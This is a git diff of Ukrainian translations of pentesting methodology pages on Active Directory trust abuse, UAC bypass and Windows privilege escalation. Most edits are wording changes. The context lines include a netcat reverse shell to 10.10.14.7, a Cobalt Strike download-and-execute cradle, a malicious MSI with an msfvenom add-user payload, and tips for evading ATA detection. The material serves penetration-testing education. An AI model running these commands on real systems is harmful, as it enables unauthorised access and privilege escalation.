Ще один спосіб скомпрометувати довірений домен - це чекати на машині, до якої **користувач з довіреного домену може отримати доступ**, щоб увійти через **RDP**. Тоді зловмисник може впровадити код у процес сесії RDP і **отримати доступ до початкового домену жертви** звідти.\
|
||||
Більше того, якщо **жертва змонтувала свій жорсткий диск**, з процесу **сесії RDP** зловмисник може зберігати **бекдори** у **папці автозавантаження жорсткого диска**. Цю техніку називають **RDPInception.**
|
||||
|
||||
{{#ref}}
|
||||
rdp-sessions-abuse.md
|
||||
@ -663,7 +663,7 @@ rdp-sessions-abuse.md
|
||||
|
||||
### **Вибіркова аутентифікація:**
|
||||
|
||||
- Для міжлісових довірів використання вибіркової аутентифікації забезпечує, що користувачі з двох лісів не аутентифікуються автоматично. Натомість для доступу до доменів і серверів у довіреному домені або лісі потрібні явні дозволи.
|
||||
- Для міжлісових довірів використання вибіркової аутентифікації забезпечує, що користувачі з двох лісів не аутентифікуються автоматично. Натомість, для доступу до доменів і серверів у довіреному домені або лісі потрібні явні дозволи.
|
||||
- Важливо зазначити, що ці заходи не захищають від експлуатації запису конфігурації, що підлягає запису (NC), або атак на обліковий запис довіри.
|
||||
|
||||
[**Більше інформації про довіри доменів на ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
|
||||
@ -686,7 +686,7 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
|
||||
|
||||
### **Впровадження технік обману**
|
||||
|
||||
- Впровадження обману передбачає встановлення пасток, таких як приманкові користувачі або комп'ютери, з такими функціями, як паролі, які не закінчуються або позначені як довірені для делегування. Детальний підхід включає створення користувачів з певними правами або додавання їх до груп з високими привілеями.
|
||||
- Впровадження обману передбачає встановлення пасток, таких як приманкові користувачі або комп'ютери, з такими функціями, як паролі, які не закінчуються або позначені як довірені для делегування. Детальний підхід включає створення користувачів з конкретними правами або додавання їх до груп з високими привілеями.
|
||||
- Практичний приклад включає використання інструментів, таких як: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
|
||||
- Більше про впровадження технік обману можна знайти на [Deploy-Deception на GitHub](https://github.com/samratashok/Deploy-Deception).
|
||||
|
||||
@ -698,9 +698,9 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
|
||||
### **Обхід систем виявлення**
|
||||
|
||||
- **Обхід виявлення Microsoft ATA**:
|
||||
- **Перерахування користувачів**: Уникнення перерахування сесій на контролерах домену, щоб запобігти виявленню ATA.
|
||||
- **Перерахунок користувачів**: Уникнення перерахунку сесій на контролерах домену, щоб запобігти виявленню ATA.
|
||||
- **Імітація квитків**: Використання **aes** ключів для створення квитків допомагає уникнути виявлення, не знижуючи до NTLM.
|
||||
- **Атаки DCSync**: Рекомендується виконувати з не контролера домену, щоб уникнути виявлення ATA, оскільки безпосереднє виконання з контролера домену викличе сповіщення.
|
||||
- **Атаки DCSync**: Рекомендується виконувати з не-контролера домену, щоб уникнути виявлення ATA, оскільки безпосереднє виконання з контролера домену викличе сповіщення.
|
||||
|
||||
## Посилання
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## UAC
|
||||
|
||||
[Контроль облікових записів користувачів (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) - це функція, яка дозволяє **запит на згоду для підвищених дій**. Додатки мають різні рівні `integrity`, і програма з **високим рівнем** може виконувати завдання, які **можуть потенційно скомпрометувати систему**. Коли UAC увімкнено, програми та завдання завжди **виконуються в контексті безпеки облікового запису, що не є адміністратором**, якщо адміністратор явно не надає цим програмам/завданням доступ на рівні адміністратора для виконання. Це зручна функція, яка захищає адміністраторів від ненавмисних змін, але не вважається межою безпеки.
|
||||
[Контроль облікових записів користувачів (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) - це функція, яка дозволяє **запит на згоду для підвищених дій**. Додатки мають різні рівні `integrity`, і програма з **високим рівнем** може виконувати завдання, які **можуть потенційно скомпрометувати систему**. Коли UAC увімкнено, додатки та завдання завжди **виконуються в контексті безпеки облікового запису, що не є адміністратором**, якщо адміністратор явно не надає цим додаткам/завданням доступ на рівні адміністратора для виконання. Це зручна функція, яка захищає адміністраторів від ненавмисних змін, але не вважається межою безпеки.
|
||||
|
||||
Для отримання додаткової інформації про рівні цілісності:
|
||||
|
||||
@ -19,14 +19,14 @@
|
||||
| Налаштування групової політики | Ключ реєстру | Налаштування за замовчуванням |
|
||||
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | -------------------------------------------------------------- |
|
||||
| [Контроль облікових записів користувачів: Режим затвердження адміністратора для вбудованого облікового запису адміністратора](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Вимкнено |
|
||||
| [Контроль облікових записів користувачів: Дозволити UIAccess-додаткам запитувати підвищення без використання захищеного робочого столу](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Вимкнено |
|
||||
| [Контроль облікових записів користувачів: Поведінка запиту підвищення для адміністраторів у режимі затвердження адміністратора](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Запит на згоду для не-Windows бінарних файлів |
|
||||
| [Контроль облікових записів користувачів: Поведінка запиту підвищення для стандартних користувачів](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Запит на облікові дані на захищеному робочому столі |
|
||||
| [Контроль облікових записів користувачів: Виявлення установок програм і запит на підвищення](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Увімкнено (за замовчуванням для домашніх) Вимкнено (за замовчуванням для підприємств) |
|
||||
| [Контроль облікових записів користувачів: Дозволити UIAccess додаткам запитувати підвищення без використання захищеного робочого столу](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Вимкнено |
|
||||
| [Контроль облікових записів користувачів: Поведінка запиту на підвищення для адміністраторів у режимі затвердження адміністратора](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Запит на згоду для не-Windows бінарних файлів |
|
||||
| [Контроль облікових записів користувачів: Поведінка запиту на підвищення для стандартних користувачів](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Запит на облікові дані на захищеному робочому столі |
|
||||
| [Контроль облікових записів користувачів: Виявлення установок додатків і запит на підвищення](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Увімкнено (за замовчуванням для домашніх) Вимкнено (за замовчуванням для підприємств) |
|
||||
| [Контроль облікових записів користувачів: Підвищувати лише виконувані файли, які підписані та перевірені](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Вимкнено |
|
||||
| [Контроль облікових записів користувачів: Підвищувати лише UIAccess-додатки, які встановлені в захищених місцях](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Увімкнено |
|
||||
| [Контроль облікових записів користувачів: Підвищувати лише UIAccess додатки, які встановлені в захищених місцях](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Увімкнено |
|
||||
| [Контроль облікових записів користувачів: Запускати всіх адміністраторів у режимі затвердження адміністратора](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Увімкнено |
|
||||
| [Контроль облікових записів користувачів: Перейти на захищений робочий стіл під час запиту на підвищення](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Увімкнено |
|
||||
| [Контроль облікових записів користувачів: Переключитися на захищений робочий стіл під час запиту на підвищення](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Увімкнено |
|
||||
| [Контроль облікових записів користувачів: Віртуалізувати помилки запису файлів і реєстру в місцях для кожного користувача](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Увімкнено |
|
||||
|
||||
### Теорія обходу UAC
|
||||
@ -46,7 +46,7 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\
|
||||
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
|
||||
EnableLUA REG_DWORD 0x1
|
||||
```
|
||||
Якщо це **`1`**, то UAC **активовано**, якщо це **`0`** або воно **не існує**, то UAC **неактивно**.
|
||||
Якщо це **`1`**, то UAC **активовано**, якщо **`0`** або він **не існує**, то UAC **неактивний**.
|
||||
|
||||
Потім перевірте, **який рівень** налаштовано:
|
||||
```
|
||||
@ -57,10 +57,10 @@ ConsentPromptBehaviorAdmin REG_DWORD 0x5
|
||||
```
|
||||
- Якщо **`0`**, тоді UAC не запитуватиме (як **вимкнено**)
|
||||
- Якщо **`1`**, адміністратор **питає ім'я користувача та пароль** для виконання бінарного файлу з високими правами (на Secure Desktop)
|
||||
- Якщо **`2`** (**Завжди запитувати мене**) UAC завжди запитуватиме підтвердження у адміністратора, коли він намагається виконати щось з високими привілеями (на Secure Desktop)
|
||||
- Якщо **`2`** (**Завжди повідомляти мене**) UAC завжди запитуватиме підтвердження у адміністратора, коли він намагається виконати щось з високими привілеями (на Secure Desktop)
|
||||
- Якщо **`3`**, як `1`, але не обов'язково на Secure Desktop
|
||||
- Якщо **`4`**, як `2`, але не обов'язково на Secure Desktop
|
||||
- якщо **`5`**(**за замовчуванням**) він запитуватиме адміністратора підтвердити запуск не Windows бінарних файлів з високими привілеями
|
||||
- Якщо **`5`**(**за замовчуванням**), він запитуватиме у адміністратора підтвердження для запуску не Windows бінарних файлів з високими привілеями
|
||||
|
||||
Тоді вам потрібно звернути увагу на значення **`LocalAccountTokenFilterPolicy`**\
|
||||
Якщо значення **`0`**, тоді лише користувач **RID 500** (**вбудований адміністратор**) може виконувати **адміністративні завдання без UAC**, а якщо `1`, **всі облікові записи в групі "Administrators"** можуть це робити.
|
||||
@ -99,14 +99,14 @@ whoami /groups | findstr Level
|
||||
Start-Process powershell -Verb runAs "calc.exe"
|
||||
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
|
||||
```
|
||||
#### Обхід UAC з дублікацією токенів
|
||||
#### UAC обхід з дублікацією токенів
|
||||
|
||||
- [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/)
|
||||
- [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html)
|
||||
|
||||
### **Дуже** базовий "обхід" UAC (повний доступ до файлової системи)
|
||||
### **Дуже** базовий UAC "обхід" (повний доступ до файлової системи)
|
||||
|
||||
Якщо у вас є оболонка з користувачем, який є в групі адміністраторів, ви можете **монтувати C$** спільний доступ через SMB (файлова система) локально на новий диск, і ви отримаєте **доступ до всього всередині файлової системи** (навіть до домашньої папки адміністратора).
|
||||
Якщо у вас є оболонка з користувачем, який є в групі Адміністраторів, ви можете **монтувати C$** спільну папку через SMB (файлова система) локально на новий диск, і ви отримаєте **доступ до всього всередині файлової системи** (навіть до домашньої папки Адміністратора).
|
||||
|
||||
> [!WARNING]
|
||||
> **Схоже, цей трюк більше не працює**
|
||||
@ -117,9 +117,9 @@ cd C$
|
||||
#Or you could just access it:
|
||||
dir \\127.0.0.1\c$\Users\Administrator\Desktop
|
||||
```
|
||||
### Обхід UAC з Cobalt Strike
|
||||
### UAC обхід з Cobalt Strike
|
||||
|
||||
Техніки Cobalt Strike працюватимуть лише в тому випадку, якщо UAC не встановлено на максимальному рівні безпеки.
|
||||
Техніки Cobalt Strike працюватимуть лише якщо UAC не встановлено на максимальному рівні безпеки.
|
||||
```bash
|
||||
# UAC bypass via token duplication
|
||||
elevate uac-token-duplication [listener_name]
|
||||
@ -137,9 +137,9 @@ runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.w
|
||||
|
||||
Документація та інструмент у [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
|
||||
|
||||
### Уразливості обходу UAC
|
||||
### Вразливості обходу UAC
|
||||
|
||||
[**UACME** ](https://github.com/hfiref0x/UACME), що є **компіляцією** кількох уразливостей обходу UAC. Зверніть увагу, що вам потрібно буде **скомпілювати UACME за допомогою visual studio або msbuild**. Компіляція створить кілька виконуваних файлів (як `Source\Akagi\outout\x64\Debug\Akagi.exe`), вам потрібно знати, **який з них вам потрібен.**\
|
||||
[**UACME** ](https://github.com/hfiref0x/UACME)яка є **компіляцією** кількох вразливостей обходу UAC. Зверніть увагу, що вам потрібно буде **скомпілювати UACME за допомогою visual studio або msbuild**. Компіляція створить кілька виконуваних файлів (як `Source\Akagi\outout\x64\Debug\Akagi.exe`), вам потрібно знати, **який з них вам потрібен.**\
|
||||
Вам слід **бути обережними**, оскільки деякі обходи можуть **викликати інші програми**, які **попередять** **користувача** про те, що щось відбувається.
|
||||
|
||||
UACME має **версію збірки, з якої почали працювати кожна техніка**. Ви можете шукати техніку, що впливає на ваші версії:
|
||||
@ -156,7 +156,7 @@ Major Minor Build Revision
|
||||
|
||||
**Усі** техніки, що використовуються тут для обходу AUC, **вимагають** **повної інтерактивної оболонки** з жертвою (звичайна оболонка nc.exe не підходить).
|
||||
|
||||
Ви можете отримати доступ, використовуючи сесію **meterpreter**. Міграція до **процесу**, у якого значення **Session** дорівнює **1**:
|
||||
Ви можете отримати це, використовуючи сесію **meterpreter**. Мігрируйте до **процесу**, у якого значення **Session** дорівнює **1**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -170,21 +170,21 @@ Major Minor Build Revision
|
||||
|
||||
### Гучний брутфорс обхід UAC
|
||||
|
||||
Якщо вам не важливо бути гучним, ви завжди можете **запустити щось на зразок** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin), що **просить підвищити права, поки користувач не прийме це**.
|
||||
Якщо вам не важливо бути гучним, ви завжди можете **запустити щось на зразок** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin), що **питає підвищення прав, поки користувач не прийме це**.
|
||||
|
||||
### Ваш власний обхід - Основна методологія обходу UAC
|
||||
|
||||
Якщо ви подивитеся на **UACME**, ви помітите, що **більшість обходів UAC зловживають вразливістю Dll Hijacking** (в основному записуючи шкідливий dll у _C:\Windows\System32_). [Прочитайте це, щоб дізнатися, як знайти вразливість Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking/).
|
||||
Якщо ви подивитеся на **UACME**, ви помітите, що **більшість обходів UAC зловживають вразливістю Dll Hijacking** (в основному записуючи шкідливий dll у _C:\Windows\System32_). [Прочитайте це, щоб дізнатися, як знайти вразливість Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking/index.html).
|
||||
|
||||
1. Знайдіть двійковий файл, який **авто підвищує** (перевірте, що при виконанні він працює на високому рівні цілісності).
|
||||
1. Знайдіть двійковий файл, який буде **автоелевуватися** (перевірте, що при виконанні він працює на високому рівні цілісності).
|
||||
2. За допомогою procmon знайдіть події "**NAME NOT FOUND**", які можуть бути вразливими до **DLL Hijacking**.
|
||||
3. Вам, ймовірно, потрібно буде **записати** DLL всередині деяких **захищених шляхів** (як C:\Windows\System32), де у вас немає прав на запис. Ви можете обійти це, використовуючи:
|
||||
1. **wusa.exe**: Windows 7, 8 і 8.1. Це дозволяє витягувати вміст CAB-файлу всередині захищених шляхів (оскільки цей інструмент виконується з високим рівнем цілісності).
|
||||
3. Вам, ймовірно, потрібно буде **записати** DLL у деякі **захищені шляхи** (як C:\Windows\System32), де у вас немає прав на запис. Ви можете обійти це, використовуючи:
|
||||
1. **wusa.exe**: Windows 7, 8 і 8.1. Це дозволяє витягувати вміст CAB-файлу в захищені шляхи (оскільки цей інструмент виконується з високим рівнем цілісності).
|
||||
2. **IFileOperation**: Windows 10.
|
||||
4. Підготуйте **скрипт** для копіювання вашого DLL у захищений шлях і виконання вразливого та авто підвищеного двійкового файлу.
|
||||
4. Підготуйте **скрипт** для копіювання вашого DLL у захищений шлях і виконання вразливого та автоелевованого двійкового файлу.
|
||||
|
||||
### Інша техніка обходу UAC
|
||||
|
||||
Складається з спостереження, чи **авто підвищений двійковий файл** намагається **читати** з **реєстру** **ім'я/шлях** **двійкового файлу** або **команди**, що підлягає **виконанню** (це більш цікаво, якщо двійковий файл шукає цю інформацію в **HKCU**).
|
||||
Складається з спостереження, чи **автоелевований двійковий файл** намагається **читати** з **реєстру** **ім'я/шлях** **двійкового файлу** або **команди**, що підлягає **виконанню** (це більш цікаво, якщо двійковий файл шукає цю інформацію в **HKCU**).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -14,9 +14,9 @@
|
||||
access-tokens.md
|
||||
{{#endref}}
|
||||
|
||||
### ACL - DACL/SACL/ACE
|
||||
### ACLs - DACLs/SACLs/ACEs
|
||||
|
||||
**Перевірте наступну сторінку для отримання додаткової інформації про ACL - DACL/SACL/ACE:**
|
||||
**Перевірте наступну сторінку для отримання додаткової інформації про ACLs - DACLs/SACLs/ACEs:**
|
||||
|
||||
{{#ref}}
|
||||
acls-dacls-sacls-aces.md
|
||||
@ -127,7 +127,7 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
|
||||
```
|
||||
### PowerShell **Script Block Logging**
|
||||
|
||||
Повний запис активності та вмісту виконання скрипта фіксується, що забезпечує документування кожного блоку коду під час його виконання. Цей процес зберігає всебічний аудит кожної активності, що є цінним для судової експертизи та аналізу шкідливої поведінки. Документуючи всю активність під час виконання, надаються детальні відомості про процес.
|
||||
Повний запис активності та вмісту виконання скрипта фіксується, що забезпечує документування кожного блоку коду під час його виконання. Цей процес зберігає всебічний аудит кожної активності, що є цінним для судової експертизи та аналізу злочинної поведінки. Документуючи всю активність під час виконання, надаються детальні відомості про процес.
|
||||
```bash
|
||||
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
@ -194,7 +194,7 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
|
||||
|
||||
## AlwaysInstallElevated
|
||||
|
||||
**Якщо** ці 2 реєстри **увімкнені** (значення **0x1**), тоді користувачі будь-яких привілеїв можуть **встановлювати** (виконувати) `*.msi` файли як NT AUTHORITY\\**SYSTEM**.
|
||||
**Якщо** ці 2 реєстри **увімкнені** (значення **0x1**), тоді користувачі з будь-якими привілеями можуть **встановлювати** (виконувати) `*.msi` файли як NT AUTHORITY\\**SYSTEM**.
|
||||
```bash
|
||||
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
|
||||
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
|
||||
@ -208,7 +208,7 @@ msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.ms
|
||||
|
||||
### PowerUP
|
||||
|
||||
Використовуйте команду `Write-UserAddMSI` з power-up, щоб створити в поточному каталозі Windows MSI бінарний файл для ескалації привілеїв. Цей скрипт генерує попередньо скомпільований MSI інсталятор, який запитує додавання користувача/групи (тому вам знадобиться доступ GIU):
|
||||
Використовуйте команду `Write-UserAddMSI` з power-up, щоб створити в поточному каталозі Windows MSI бінарник для ескалації привілеїв. Цей скрипт генерує попередньо скомпільований MSI інсталятор, який запитує додавання користувача/групи (тому вам знадобиться доступ GIU):
|
||||
```
|
||||
Write-UserAddMSI
|
||||
```
|
||||
@ -222,15 +222,15 @@ Write-UserAddMSI
|
||||
msi-wrapper.md
|
||||
{{#endref}}
|
||||
|
||||
### Створення MSI з WIX
|
||||
### Create MSI with WIX
|
||||
|
||||
{{#ref}}
|
||||
create-msi-with-wix.md
|
||||
{{#endref}}
|
||||
|
||||
### Створення MSI з Visual Studio
|
||||
### Create MSI with Visual Studio
|
||||
|
||||
- **Згенеруйте** з Cobalt Strike або Metasploit **новий Windows EXE TCP payload** у `C:\privesc\beacon.exe`
|
||||
- **Згенеруйте** з Cobalt Strike або Metasploit **новий Windows EXE TCP payload** в `C:\privesc\beacon.exe`
|
||||
- Відкрийте **Visual Studio**, виберіть **Створити новий проект** і введіть "installer" у поле пошуку. Виберіть проект **Setup Wizard** і натисніть **Далі**.
|
||||
- Дайте проекту ім'я, наприклад, **AlwaysPrivesc**, використовуйте **`C:\privesc`** для розташування, виберіть **розмістити рішення та проект в одній директорії**, і натисніть **Створити**.
|
||||
- Продовжуйте натискати **Далі**, поки не дійдете до кроку 3 з 4 (виберіть файли для включення). Натисніть **Додати** і виберіть payload Beacon, який ви щойно згенерували. Потім натисніть **Готово**.
|
||||
@ -238,14 +238,14 @@ create-msi-with-wix.md
|
||||
- Є й інші властивості, які ви можете змінити, такі як **Автор** та **Виробник**, що можуть зробити встановлений додаток більш легітимним.
|
||||
- Клацніть правою кнопкою миші на проекті та виберіть **Перегляд > Користувацькі дії**.
|
||||
- Клацніть правою кнопкою миші на **Встановити** та виберіть **Додати користувацьку дію**.
|
||||
- Двічі клацніть на **Тека програми**, виберіть ваш файл **beacon.exe** і натисніть **ОК**. Це забезпечить виконання payload beacon, як тільки інсталятор буде запущено.
|
||||
- Двічі клацніть на **Папка програми**, виберіть ваш файл **beacon.exe** і натисніть **ОК**. Це забезпечить виконання payload beacon, як тільки інсталятор буде запущено.
|
||||
- У **Властивостях користувацької дії** змініть **Run64Bit** на **True**.
|
||||
- Нарешті, **зберіть його**.
|
||||
- Якщо з'явиться попередження `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, переконайтеся, що ви встановили платформу на x64.
|
||||
|
||||
### Встановлення MSI
|
||||
### MSI Installation
|
||||
|
||||
Щоб виконати **встановлення** шкідливого файлу `.msi` у **фоновому режимі:**
|
||||
Щоб виконати **встановлення** шкідливого `.msi` файлу у **фоновому режимі:**
|
||||
```
|
||||
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
|
||||
```
|
||||
@ -255,7 +255,7 @@ msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
|
||||
|
||||
### Налаштування аудиту
|
||||
|
||||
Ці налаштування визначають, що **реєструється**, тому вам слід звернути увагу
|
||||
Ці налаштування визначають, що **реєструється**, тому вам слід звернути на це увагу.
|
||||
```
|
||||
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
|
||||
```
|
||||
@ -267,7 +267,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
|
||||
```
|
||||
### LAPS
|
||||
|
||||
**LAPS** призначений для **управління паролями локальних адміністраторів**, забезпечуючи, щоб кожен пароль був **унікальним, випадковим і регулярно оновлювався** на комп'ютерах, приєднаних до домену. Ці паролі безпечно зберігаються в Active Directory і можуть бути доступні лише користувачам, яким надано достатні дозволи через ACL, що дозволяє їм переглядати паролі локальних адміністраторів, якщо це дозволено.
|
||||
**LAPS** призначений для **управління паролями локальних адміністраторів**, забезпечуючи, щоб кожен пароль був **унікальним, випадковим і регулярно оновлювався** на комп'ютерах, приєднаних до домену. Ці паролі надійно зберігаються в Active Directory і можуть бути доступні лише користувачам, яким надано достатні дозволи через ACL, що дозволяє їм переглядати паролі локальних адміністраторів, якщо це дозволено.
|
||||
|
||||
{{#ref}}
|
||||
../active-directory-methodology/laps.md
|
||||
@ -282,7 +282,7 @@ reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v U
|
||||
```
|
||||
### LSA Protection
|
||||
|
||||
Починаючи з **Windows 8.1**, Microsoft впровадила покращений захист для Локального органу безпеки (LSA), щоб **блокувати** спроби ненадійних процесів **читати його пам'ять** або інжектувати код, додатково захищаючи систему.\
|
||||
Починаючи з **Windows 8.1**, Microsoft впровадила покращений захист для Локального органу безпеки (LSA), щоб **блокувати** спроби ненадійних процесів **читати його пам'ять** або впроваджувати код, додатково захищаючи систему.\
|
||||
[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection).
|
||||
```bash
|
||||
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
|
||||
@ -358,8 +358,8 @@ powershell -command "Get-Clipboard"
|
||||
|
||||
### Дозволи на файли та папки
|
||||
|
||||
Перш за все, перерахування процесів **перевіряє наявність паролів у командному рядку процесу**.\
|
||||
Перевірте, чи можете ви **перезаписати деякий запущений бінарний файл** або чи маєте ви права на запис у папку з бінарними файлами для експлуатації можливих [**DLL Hijacking атак**](dll-hijacking/):
|
||||
По-перше, при переліку процесів **перевірте наявність паролів у командному рядку процесу**.\
|
||||
Перевірте, чи можете ви **перезаписати деякий запущений бінар** або чи маєте ви права на запис у папку з бінарем для експлуатації можливих [**DLL Hijacking атак**](dll-hijacking/index.html):
|
||||
```bash
|
||||
Tasklist /SVC #List processes running and services
|
||||
tasklist /v /fi "username eq system" #Filter "system" processes
|
||||
@ -381,7 +381,7 @@ icacls "%%z"
|
||||
)
|
||||
)
|
||||
```
|
||||
**Перевірка дозволів папок бінарних файлів процесів (**[**DLL Hijacking**](dll-hijacking/)**)**
|
||||
**Перевірка дозволів папок бінарних файлів процесів (**[**DLL Hijacking**](dll-hijacking/index.html)**)**
|
||||
```bash
|
||||
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
|
||||
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
|
||||
@ -416,7 +416,7 @@ Get-Service
|
||||
```bash
|
||||
sc qc <service_name>
|
||||
```
|
||||
Рекомендується мати бінарний файл **accesschk** від _Sysinternals_, щоб перевірити необхідний рівень привілеїв для кожної служби.
|
||||
Рекомендується мати бінарний **accesschk** від _Sysinternals_, щоб перевірити необхідний рівень привілеїв для кожної служби.
|
||||
```bash
|
||||
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
|
||||
```
|
||||
@ -443,7 +443,7 @@ sc config SSDPSRV obj= ".\LocalSystem" password= ""
|
||||
```
|
||||
**Врахуйте, що служба upnphost залежить від SSDPSRV для роботи (для XP SP1)**
|
||||
|
||||
**Інший обхідний шлях** цієї проблеми - запустити:
|
||||
**Інший обхідний шлях** цієї проблеми - виконати:
|
||||
```
|
||||
sc.exe config usosvc start= auto
|
||||
```
|
||||
@ -474,8 +474,8 @@ net stop [service name] && net start [service name]
|
||||
|
||||
### Слабкі дозволи бінарних файлів служб
|
||||
|
||||
**Перевірте, чи можете ви змінити бінарний файл, який виконується службою** або чи маєте ви **права на запис у папці**, де знаходиться бінарний файл ([**DLL Hijacking**](dll-hijacking/))**.**\
|
||||
Ви можете отримати кожен бінарний файл, який виконується службою, використовуючи **wmic** (не в system32) і перевірити свої дозволи, використовуючи **icacls**:
|
||||
**Перевірте, чи можете ви змінити бінарний файл, який виконується службою** або чи маєте ви **права на запис у папці**, де знаходиться бінарний файл ([**DLL Hijacking**](dll-hijacking/index.html))**.**\
|
||||
Ви можете отримати кожен бінарний файл, який виконується службою, використовуючи **wmic** (не в system32) та перевірити свої дозволи за допомогою **icacls**:
|
||||
```bash
|
||||
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
|
||||
|
||||
@ -487,7 +487,7 @@ sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
|
||||
